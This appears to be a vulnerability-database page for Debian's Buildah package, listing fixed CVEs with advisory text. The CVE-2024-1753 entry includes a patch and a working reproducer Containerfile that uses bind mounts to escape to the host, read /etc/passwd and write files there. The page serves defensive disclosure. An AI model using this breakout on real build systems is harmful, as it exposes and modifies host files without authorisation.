Search for packages
| purl | pkg:deb/debian/golang-github-containers-buildah@1.43.1%2Bds1-1?distro=trixie |
| Vulnerability | Summary | Fixed by |
|---|---|---|
| This package is not known to be affected by vulnerabilities. | ||
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-e14a-39np-13bx | Improper Input Validation in Buildah and Podman A vulnerability exists in the bind-propagation option of the Dockerfile RUN --mount instruction. The system does not properly validate the input passed to this option, allowing users to pass arbitrary parameters to the mount instruction. This issue can be exploited to mount sensitive directories from the host into a container during the build process and, in some cases, modify the contents of those mounted files. Even if SELinux is used, this vulnerability can bypass its protection by allowing the source directory to be relabeled to give the container access to host files. |
CVE-2024-9407
GHSA-fhqq-8f65-5xfc |
| VCID-fa27-n4rs-h7gp | Buildah's incorrect handling of the supplementary groups may lead to data disclosure, modification An incorrect handling of the supplementary groups in the Buildah container engine might lead to the sensitive information disclosure or possible data modification if an attacker has direct access to the affected container where supplementary groups are used to set access permissions and is able to execute a binary code in that container. |
CVE-2022-2990
GHSA-fjm8-m7m6-2fjp |
| VCID-gs2e-ztdw-ayft | Non-empty default inheritable capabilities for linux container in Buildah A bug was found in Buildah where containers were created with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with inheritable file capabilities to elevate those capabilities to the permitted set during execve(2). This bug did not affect the container security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set. |
CVE-2022-27651
GHSA-c3g4-w6cv-6v7h |
| VCID-gyyv-8fkv-syh5 | Podman affected by CVE-2024-1753 container escape at build time ### Impact _What kind of vulnerability is it? Who is impacted?_ Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed. ### Patches From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman. ``` # cat /root/cve-2024-1753.diff --- internal/volumes/volumes.go +++ internal/volumes/volumes.go @@ -11,6 +11,7 @@ import ( "errors" + "github.com/containers/buildah/copier" "github.com/containers/buildah/define" "github.com/containers/buildah/internal" internalParse "github.com/containers/buildah/internal/parse" @@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st // buildkit parity: support absolute path for sources from current build context if contextDir != "" { // path should be /contextDir/specified path - newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source)) + evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{}) + if err != nil { + return newMount, "", err + } + newMount.Source = evaluated } else { // looks like its coming from `build run --mount=type=bind` allow using absolute path // error out if no source is set ``` ### Reproducer Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system. Use the following Containerfile ``` # cat ~/cve_Containerfile FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 ``` #### To Test ##### Testing with an older version of Podman with the issue ``` setenforce 0 podman build -f ~/cve_Containerfile . ``` As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. ``` podman rm -a podman rmi -a rm /BIND_BREAKOUT rm /etc/BIND_BREAKOUT2 setenforce 1 podman build -f ~/cve_Containerfile . ``` Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. However, the files in both the `/` and `/etc` directories on the host system will be displayed. ##### Testing with the patch Use the same commands as testing with an older version of Podman. When running using the patched version of Podman, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes. NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image. ### Workarounds Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory. ### References Unknown. |
CVE-2024-1753
GHSA-874v-pj72-92f3 |
| VCID-j9nr-4d4t-j3e1 | Buildah allows arbitrary directory mount A vulnerability was found in Buildah. Cache mounts do not properly validate that user-specified paths for the cache are within our cache directory, allowing a `RUN` instruction in a Container file to mount an arbitrary directory from the host (read/write) into the container as long as those files can be accessed by the user running Buildah. |
CVE-2024-9675
GHSA-586p-749j-fhwp |
| VCID-m52k-wfyn-mubf | Path Traversal in Buildah A path traversal flaw was found in Buildah in versions before 1.14.5. This flaw allows an attacker to trick a user into building a malicious container image hosted on an HTTP(s) server and then write files to the user's system anywhere that the user has permissions. ### Specific Go Packages Affected github.com/containers/buildah/imagebuildah |
CVE-2020-10696
GHSA-fx8w-mjvm-hvpc |
| VCID-thgc-p1tc-nbdw | Buildah processes using chroot isolation may leak environment values to intermediate processes ### Impact When running processes using "chroot" isolation, the process being run can examine the environment variables of its immediate parent and grandparent processes (CVE-2021-3602). This isolation type is often used when running `buildah` in unprivileged containers, and it is often used to do so in CI/CD environments. If sensitive information is exposed to the original `buildah` process through its environment, that information will unintentionally be shared with child processes which it starts as part of handling RUN instructions or during `buildah run`. The commands that `buildah` is instructed to run can read that information if they choose to. ### Patches Users should upgrade packages, or images which contain packages, to include version 1.21.3 or later. ### Workarounds As a workaround, invoking `buildah` in a container under `env -i` to have it started with a reinitialized environment should prevent the leakage. ### For more information If you have any questions or comments about this advisory: * Open an issue in [buildah](https://github.com/containers/buildah/issues) * Email us at [the buildah general mailing list](mailto:buildah@lists.buildah.io), or [the podman security mailing list](mailto:security@lists.podman.io) if it's sensitive. |
CVE-2021-3602
GHSA-7638-r9r3-rmjj |
| VCID-xe2z-2g23-skhf | Buildah allows build breakout using malicious Containerfiles and concurrent builds ### Impact With careful use of the `--mount` flag in RUN instructions in Containerfiles, and by using either multi-stage builds with use of concurrently-executing build stages (e.g., using the `--jobs` CLI flag) or multiple separate but concurrently-executing builds, a malicious Containerfile can be used to expose content from the build host to the command being run using the RUN instruction. This can be used to read or write contents using the privileges of the process which is performing the build. When that process is a root-owned podman system service which is provided for use by unprivileged users, this includes the ability to read and write contents which the client should not be allowed to read and write, including setuid executables in locations where they can be later accessed by unprivileged users. ### Patches Patches have been merged to the main branch, and will be added to upcoming releases on the release-1.38, release-1.37, release-1.35, and release-1.33 branches. This addressed a number of Jira cards, but primarily https://issues.redhat.com/browse/RHEL-67616 and https://issues.redhat.com/browse/RHEL-67618, which were then vendored into Podman and backported into olde rbranches. ### Workarounds Mandatory access controls should limit the access of the process performing the build, on systems where they are enabled. |
CVE-2024-11218
GHSA-5vpc-35f4-r8w6 |